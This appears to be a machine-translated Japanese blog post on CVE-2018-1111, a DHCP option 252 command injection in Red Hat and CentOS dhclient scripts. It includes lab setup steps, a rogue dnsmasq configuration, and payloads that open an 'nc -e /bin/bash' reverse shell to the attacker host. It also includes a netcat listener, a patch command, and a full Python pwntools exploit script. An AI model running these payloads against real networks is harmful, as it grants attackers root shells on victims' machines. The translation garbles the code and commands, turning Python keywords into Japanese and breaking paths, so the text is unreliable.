Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86382708

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01脆弱性の概要

最近、Red Hatはセキュリティアップデートを正式にリリースし、CVE-2018-1111の番号付けされたリモートコード実行の脆弱性を修正しました。攻撃者は、DHCPサーバーを偽造して応答パケットを送信し、Red Hatシステムを攻撃し、ルートアクセス許可を取得し、任意のコマンドを実行できます。

0x02影響バージョン

Red Hat Enterprise Linux Server 6

Red Hat Enterprise Linux Server 7

Centos 6

Centos 7

0x03脆弱性の詳細

DHCPは、主に内部ネットワークでの動的IPアドレス割り当てに使用されるLANのネットワークプロトコルです。 Red Hatが提供するDHCPクライアントパッケージDHClientのスクリプトは/etc/networkmanager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)および/etc/networkmanager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6);このスクリプトは、NetworkManagerコンポーネントがDHCPサーバーからDHCP応答を受信するときに実行されます。

alt

単一の引用符を使用してパラメーター値を正常にエスケープし、コマンドの実行を実現します

-dhcp-option='252、x'nc -e /bin /bash 10.1.1.1 1337#'

0x04脆弱性の再発

は、再現するときに注意してください。

1.両方の仮想マシンをホスト専用モードに設定する必要があります

2。ホストモードLS8 Z(D/M0〜J2 F9 LでDHCPサービスを無効にする

環境

攻撃航空機:Kali 2018.2

被害者マシン:Centos7

Tsinghua Mirror SiteでCentos 7をダウンロードします

https://mirrors.tuna.tsinghua.edu.cn/centos/7.4.1708/isos/x86_64/centos-7-x86_64-dvd-1708.iso

VMware12.0

ネットワークをセットアップ

ここでは、VMware仮想マシンを使用して実装します。両方のシステムは、VMNET1ネットワークカード(ホストモードのみ)に接続され、ネットワークカードをオフにします。

DHCPサービス。

avjxkwh1db58992.jpg

次に、kali、dnsmasqでDHCPサーバーの構成を開始します

これは、DNSとDHCPを構成するためのコンパクトで便利なツールです。小さなネットワークに適しています。 DNS機能とオプションのDHCP機能を提供して、DNSサービスまたはDHCPサービスを迅速に構築します。

kali

を構成します

最初に、Kaliの下でIPを静的に構成し、ルートを追加します。コマンドは次のとおりです。

ifconfig eth0 192.168.71.5netmask

255.255.255.0

ルートAddDefaultGW192.168.71.5

まず、DNSMasqで使用する必要がある構成ファイル /etc/dnsmasq.confを作成します。コンテンツは次のとおりです。

vim /etc/dnssmassq.conf

バインドインターフェイス

インターフェイス=eth0

Interface=loを除く

DHCP-RANGE=192.168.71.10,192.168.71.30,22H

DHCP-Option=3,192.168.131.5

DHCP-Option=6,192.168.131.5

ログQueries

log-facility=/var/log/dnsmasq.log

パラメーター説明:

DHCP-RANGE:は、クライアントに割り当てるIPアドレスの範囲とリース時間を示します

DHCP-OPTION:は、DHCPクライアントに割り当てられたオプション情報を示します

log-facility:はロガーを表します

構成ファイルに含まれるオプションの値と意味は次のとおりです。

3:ゲートウェイアドレスオプションを設定します

6: DNSサーバーアドレスオプションを設定します

252:は、DHCPクライアントがプロキシ設定を構成するためのURLを提供しますwpad-proxy-url

ペイロードに関与するオプション252は、DHCPサーバーに252を使用して、ブラウザでDHCPサーバーに通知する機能を記述し、このオプションにリストされているURLからネットワーク上のプロキシ設定に関する情報を取得するためにコード252を使用して、プライベート使用予約部品の一部です。

ここでは、dnsmasq.confにdhcp-rangeを設定します

これは、192.168.71.10-192.168.71.30/24のIPアドレス範囲であり、リース時間は12時間です。

DHCP-Option 3ゲートウェイアドレスとDHCP-Option 6

DNSサーバーは、KaliローカルネットワークカードのIPアドレスに設定され、KaliのIPアドレスは静的IPです。 /etc/dnsmasq.conf構成ファイルを変更した後、DNSMASQサービスを直接開始することはできません。

DNSMASQを使用してDNSサーバーを偽造し、次のようにコマンドペイロードを実行します。

dnsmasq -dc dnsmasq.conf

-dhcp-option='252、malayke'nc -e /bin /bash 192.168.71.5 6666#'

jrq4wn5ffbk8993.jpg

ここで-dはデバッグモードを表し、-cは指定された構成ファイルを表し、DNSMASQサービスを実行します。 DNSMASQコマンドのより詳細な説明については、Man DNSMASQを使用して表示できます。

コマンド実行の効果は、NCを介してシェルを192.168.71.5のポート6666にバウンスすることです。したがって、KALIでNCポート監視を有効にする必要があります。コマンドは次のとおりです。

NC-L-P6666-V

beprim5qdbm8994.jpg

攻撃

IPアドレスを取得してネットワークカードを再起動するためにDHCPにCentosを設定しました!現時点では、CentOSはネットワークサービスを再起動し、DHCPサーバーが発行したIPアドレスを取得する必要があります。ここでは、IPアドレスが取得されたことがわかります192.168.71.18

コマンドは次のとおりです。

/etc/init.d/network再起動

umy0bfxs0me8995.jpg

IPが取得されたことが示されています。ここKaliで何が起こったのか見てみましょう

itwudoziovp8996.jpg

この時点で、KaliのNCでは、Centosシェルを取得でき、ルート許可があります

0x05脆弱性原理

単一の引用がスクリプトで逃げ出し、ルート許可を使用してスクリプトを直接実行しました。

dhcp-option=” 252、x’nc-e/bin/bash10.1.1.11337#”

0x06修復方法

#yum update dhclient

#RPM -QA -CHANGELOG DHCLIENT |グレップ

CVE-2018- Resolves:#1570898-CVE-2018-1111:を解析しないでください

エスケープキャラクターとしてのバックスラッシュ

ox7はexp

を利用します

#/usr/bin/python

#encoding=utf-8

PWNインポートから *

OSをインポートします

sysをインポートします

インポート時間

#著者: xyzz@chamd5.org

#時間: 20180520

IP='192.168.131.52'

ポート=1314

#context.log_level='debug'

DEF PWN(IP、ポート):

f=open( 'dnsmasq.conf'、 'w')

start=ip [:ip.rfind( '。')]+'。10'

end=ip [:ip.rfind( '。')]+'。30'

dnsmasq='' '

バインドインターフェイス

インターフェイス=eth0

Interface=loを除く

dhcp-range={start}、{end}、22h

dhcp-option=3、{ip}

dhcp-option=6、{ip}

ログQueries

log-facility=/var/log/dnsmasq.log

'' .format(ip=ip、start=start、end=end)

f.write(dnsmasq)

f.close()

cm=[]

cm.append( 'ifconfig eth0 {ip} netmask 255.255.255.0' .format(ip=ip)))

cm.append( 'ルート追加gw {ip}'。フォーマット(ip=ip))

cm.append( '' 'dnsmasq -dc dnsmasq.conf

-dhcp-option='252、' nc -e /bin /bash {ip} {port}

# '' '。フォーマット(ip=ip、port=port))

q=process( 'bash')

範囲のi(len(cm)-1):の場合

Q.sendline(cm [i])

time.sleep(1)

#time.sleep(100)

p=process( 'bash')

p.sendline( 'nc -l -p {port} -v'.format(port=port))

Q.Sendline(CM [-1])

time.sleep(3)

p.interactive()

#q.interactive()

__name__=='__main __' :の場合

PWN(IP、ポート)

24wn4mcn41k8997.jpg

fcaq3qqosd58998.jpg